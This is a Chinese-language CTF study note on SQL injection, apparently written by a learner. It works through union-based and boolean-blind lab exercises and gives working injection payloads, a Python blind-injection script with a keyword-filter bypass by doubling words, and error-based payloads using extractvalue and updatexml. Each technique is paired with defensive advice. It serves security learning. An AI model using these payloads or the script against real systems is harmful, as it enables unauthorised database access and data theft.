常见注入方式
1, union查询
例题《从0到1:CTFer成长之路》题目 SQL注入-1
进入靶机,看到
/index.php?id=1
get 方式注入,测试id后的数,发现3有个提示,可以忽略
尝试单引号闭合
?id=1' or 1 -- //正常显回
?id=1' and 1 = 1 -- //正常显回
?id=1' and 1 = 2 -- //没有显回
判断可以注入,先测试显回
?id=1' order by 3 --
?id=-1' union select 1,2,3 --
//查询information_schema库获取库信息
?id=-1' union select 1,2,group_concat(schema_name) from INFORMATION_SCHEMA.schemata --
//获取到有一个note库,查询表
?id=-1' union select 1,2,group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema = 'note' --
//获取两个表,fl4g和notes表,查询列名
?id=-1' union select 1,2,group_concat(column_name) from INFORMATION_SCHEMA.columns where table_name = 'fl4g'--
//获取到列名fllllag,查询信息
?id=-1' union select 1,2,group_concat(fllllag) from fl4g--
得到flag
防御措施:禁用函数,过滤敏感词,预编译都有效果
2,布尔盲注
例题《从0到1:CTFer成长之路》题目 SQL注入-1
进入后让进入 login.php,后看到一个登录框,尝试
admin
123' or 1 --
尝试各种姿势都登录不上去,但发现了
admin' and 1=1 -- //显示账户或密码错误
返回 {"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
admin' and 1=2 -- //显示账户不存在
返回 {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
判断存在布尔盲注,因为是盲注,所以需要用脚本
(之前刚学python的时候写的,比较凌乱)
import requests
import time
from urllib.parse import quote
char = ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}_-='
def request(key):
burp0_url = "http://eci-2ze3l5mg59muqe0h5h6n.cloudeci1.ichunqiu.com:80/login.php"
burp0_data = {"name": "admin"+key, "pass": "1234"}
req = requests.post(burp0_url, data=burp0_data)
if req.text.find(r'\u9519\u8bef')!=-1:
return 1
else:
return 0
爆库名,得到note
def sd(l):#库名
result=''
for i in range(1,l+1):#mysql反计算机的从1开始非0
for j in char:
key = "'and substr(database(),{0},1)='{1}'#"
key=key.format(i,j)
# key = quote(key)
if request(key):
result+=j
print(result)
break
return result
在尝试爆表的时候发现有过滤存在,双写绕过
name=admin'and length('select') = 0 #
&pass=123
name=admin'and length('sselectelect') = 6 #
&pass=123
def st():
for i in range(0,1000):
l=0
result=''
for j in range(0,100):#表长
key = "'and length((selselectect table_name from information_schema.tables where table_schema=database() limit {0},1))={1}#"
key=key.format(i,j)
# key = quote(key)
if request(key):
l=j
print(l)
break
if l==0:#表长为零表示没有表了,跳出i的循环
break
for j in range(1,l+1):#表名
for k in char:
key = "'and substr((seselectlect table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)='{2}'#"
key=key.format(i,j,k)
# key = quote(key)
if request(key):
result+=k
print(result)
break
print(result)
得到两个表,fl4g 和 users
爆破fl4g的字段
def sc(t):
for i in range(0,1000):
l=0
result=''
for j in range(0,100):#字段长
key = "'and length((selselectect column_name from information_schema.columns where table_name='{0}' limit {1},1))={2}#"
key = key.format(t,i,j)
# key = quote(key)
if request(key):
l=j
print(l)
break
if l==0:
break
for j in range(1,l+1):#字段名
for k in char:
key = "'and substr((seselectlect column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)='{3}'#"
key=key.format(t,i,j,k)
# key = quote(key)
if request(key):
result+=k
print(result)
break
print(result)
得到一个字段 flag
爆破flag
def sa(c,t):
for i in range(0,1000):
l=0
result=''
for j in range(0,100):#数据长
key = "'and length((seselectlect {0} from {1}))={3}#"#需要查询的字段和表名
key = key.format(c,t,i,j)
# key = quote(key)
if request(key):
l=j
print(l)
break
if l==0:
break
for j in range(1,l+1):#数据
for k in char:
key = "'and substr((seselectlect {0} from {1}),{3},1)='{4}'#"
key=key.format(c,t,i,j,k)
# key = quote(key)
if request(key):
result+=k
print(result)
break
print(result)
得到flag(挺长的,有时间改一下代码,现在结构很乱,而且很慢)
防御:循环过滤敏感词,过滤单引号,限制输入的长度,预编译
3,时间盲注
利用sql执行sleep指令,通过判断请求到返回的时间来判断结果,也是需要使用脚本自动化攻击,上面的代码可以改改用,不过很慢
判断依据:尝试执行SELECT(SLEEP(5))等
暂时没找题目。。。有时间补上
4,报错型注入
通过sql的特性,当输入错误的语句时会进行报错,报错会带出许多的信息
常用的函数:
extractvalue函数 extractvalue(xml_document,Xpath_string)
Xpath_string必须是符合xpath语法的字符串,不符合就会报错
利用这一点,可以使它执行查询,因为结果不符合语法被报错弹出
使用concat在前面合并上一个特殊符号让语句绝对不符合语法
pyload:id='and(select extractvalue("anything",concat('~',(select语句))))
id='and(select extractvalue(1,concat(0x7e,@@version)))
updatexml函数 updatexml(xml_document,xpath_string,new_value)
第二个参数同理
payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
暂时没找题目。。。有时间补上
防御:关闭报错回显,过滤关键词,预编译
5,可多语句查询注入
十分危险的一种注入,基本上可以对数据库做任何操作,甚至可以通过上传bin文件拿到shell
判断方式:在语句后加入 ;sql语句
如果能够执行,便存在多语句注入
暂时没找题目。。。有时间补上